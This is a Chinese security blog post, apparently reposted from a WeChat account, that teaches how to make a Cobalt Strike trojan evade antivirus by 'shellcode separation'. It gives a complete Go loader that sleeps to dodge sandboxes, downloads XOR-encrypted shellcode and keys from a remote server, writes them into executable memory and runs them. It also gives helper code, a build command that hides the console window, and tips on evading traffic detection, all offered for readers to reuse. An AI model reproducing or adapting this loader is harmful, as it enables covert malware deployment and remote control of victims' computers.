10月13日
CS木马shellcode分离免杀上线
最近在学习CS怎么去免杀,今天来分享一下吧,反正有手就行呗
0x05 总结
本次免杀所使用的是shellcode分离免杀技术
CS版本:4.0语言:Golang
插件:项目地址:
http://github.com/hack2fun/BypassAV
1、打开cs客户端,点击如图位置:
2、点击load,加载插件:
3、加载完毕后使用快捷键ctrl + g 即可打开窗口进行生产CS木马
这个插件的功能是使用golang帮我们生成一个CS木马,在生成木马时会在对应目录留下go的源文件
我们在CS提前建立好监听器
使用插件生成木马
PS:记得把杀毒软件关闭了先,不然会直接杀掉
在windows环境下,会在C://windows//temp目录下生成的源文件
先来看下这个文件的核心代码吧
xor_shellcode为插件提前加密好的,用切片变量存储
加密时用到两个密钥,KEY_1和KEY_2,使用的是异或加密。在for循环里对shellcode进行解密,然后申请内存进行加载,最后调用syscall指向地址执行。
改造思路如下:
1) 入口main函数处加一个sleep,延时执行
2) 动态获取shellcode以及密钥,我们把密钥和shellcode放到我们的VPS,起一个http服务器,通过get去请求
流程:
1)在main函数入口加入如下代码:
time.Sleep(5 * time.Second)
2)程序中shellcode为切片类型,在放到http服务器上时,还需要做一下转换,使用如下代码:
package main
import (
"fmt"
"encoding/hex"
)
func main() {
aa :=[]byte{shellcode复制到这里}
fmt.Println(hex.EncodeToString([]byte(aa)))
}
CMD执行:go run get.go
PS:随便创建一个go文件即可
将生成的数据放到http服务器上,例如创建一个1.txt
3)程序中的KEY也是切片数据,用上一步的代码进行转换,如下图所示:
CMD执行:go run get.go
HTTP服务器上创建两个txt,例如2.txt放入密钥1,3.txt放入密钥2
创建好后记得把源代码前面的密钥变量进行删除
4)获取http服务器上的数据
紧接着加入两行代码,获取对应的key
keys1、keys2函数为获取密钥,并且返回值,大致代码如下:
温馨提示,如果你写的参数名字和我一样,记得把模板文件中的xor_shellcode换成x1,shellcode换成res。
最后一步,在开头加入需要使用到的包:
import (
"syscall"
"unsafe"
"time"
"encoding/hex"
"io/ioutil"
"net/http"
)
5)编译成exe文件
CMD执行命令:go build -o svc.exe -ldflags -H=windowsgui temp.go
PS:svc.exe为生成文件,temp.go为我们改造的源代码文件
某绒
某60
VT
沙箱我就不截图了,由于我的VPS被标黑了,所以情报过不去,但是从沙箱的角度来看是没有检测出来的,大家可以自行测试。
最后成功上线:
作为一个免杀萌新,记录一下学习,免杀的手段还有很多,比如流量对抗、防逆向代码对抗、威胁情报等等路还很长,顺便提个醒,在真实环境中,这种回连木马除了要过终端的防御之外,还得过流量检测设备,目前厂商的设备基本具备检测3.14、4.0版本(其他没有测试过)的CS流量,但是如果修改CS的特征的话,还是可以规避检测的。
贴一下模板源代码吧,大家可以自行修改参数进行使用:
package main
import (
"syscall"
"unsafe"
"time"
"encoding/hex"
"io/ioutil"
"net/http"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlMoveMemory")
)
func keys1() byte {
time.Sleep(5 * time.Second)
resp, _ := http.Get("http://IP/https/2.txt")
defer resp.Body.Close()
body, _ := ioutil.ReadAll(resp.Body)
var tmp = string(body)
x1, _ := hex.DecodeString(tmp)
return x1[0]
}
func keys2() byte {
time.Sleep(5 * time.Second)
resp, _ := http.Get("http://IP/https/3.txt")
defer resp.Body.Close()
body, _ := ioutil.ReadAll(resp.Body)
var tmp = string(body)
x1, _ := hex.DecodeString(tmp)
return x1[0]
}
func main() {
time.Sleep(5 * time.Second)
resp, err := http.Get("http://IP/https/1.txt")
if err != nil {
return
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
var tmp = string(body)
x1, _ := hex.DecodeString(tmp)
var KEY_1 byte = keys1()
var KEY_2 byte = keys2()
var res []byte
for i := 0; i < len(x1); i++ {
res = append(res, x1[i]^KEY_1^KEY_2)
}
addr, _, err := VirtualAlloc.Call(0, uintptr(len(res)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&res[0])), uintptr(len(res)))
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
time.Sleep(5 * time.Second)
syscall.Syscall(addr, 0, 0, 0, 0)
}
【往期推荐】
【超详细】Microsoft Exchange 远程代码执行漏洞复现【CVE-2020-17144】
【超详细】CVE-2020-14882 | Weblogic未授权命令执行漏洞复现
【奇淫巧技】如何成为一个合格的“FOFA”工程师
走过路过的大佬们留个关注再走呗
往期文章有彩蛋哦
本文始发于微信公众号(渗透Xiao白帽):免杀系列-CS木马shellcode分离免杀上线
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论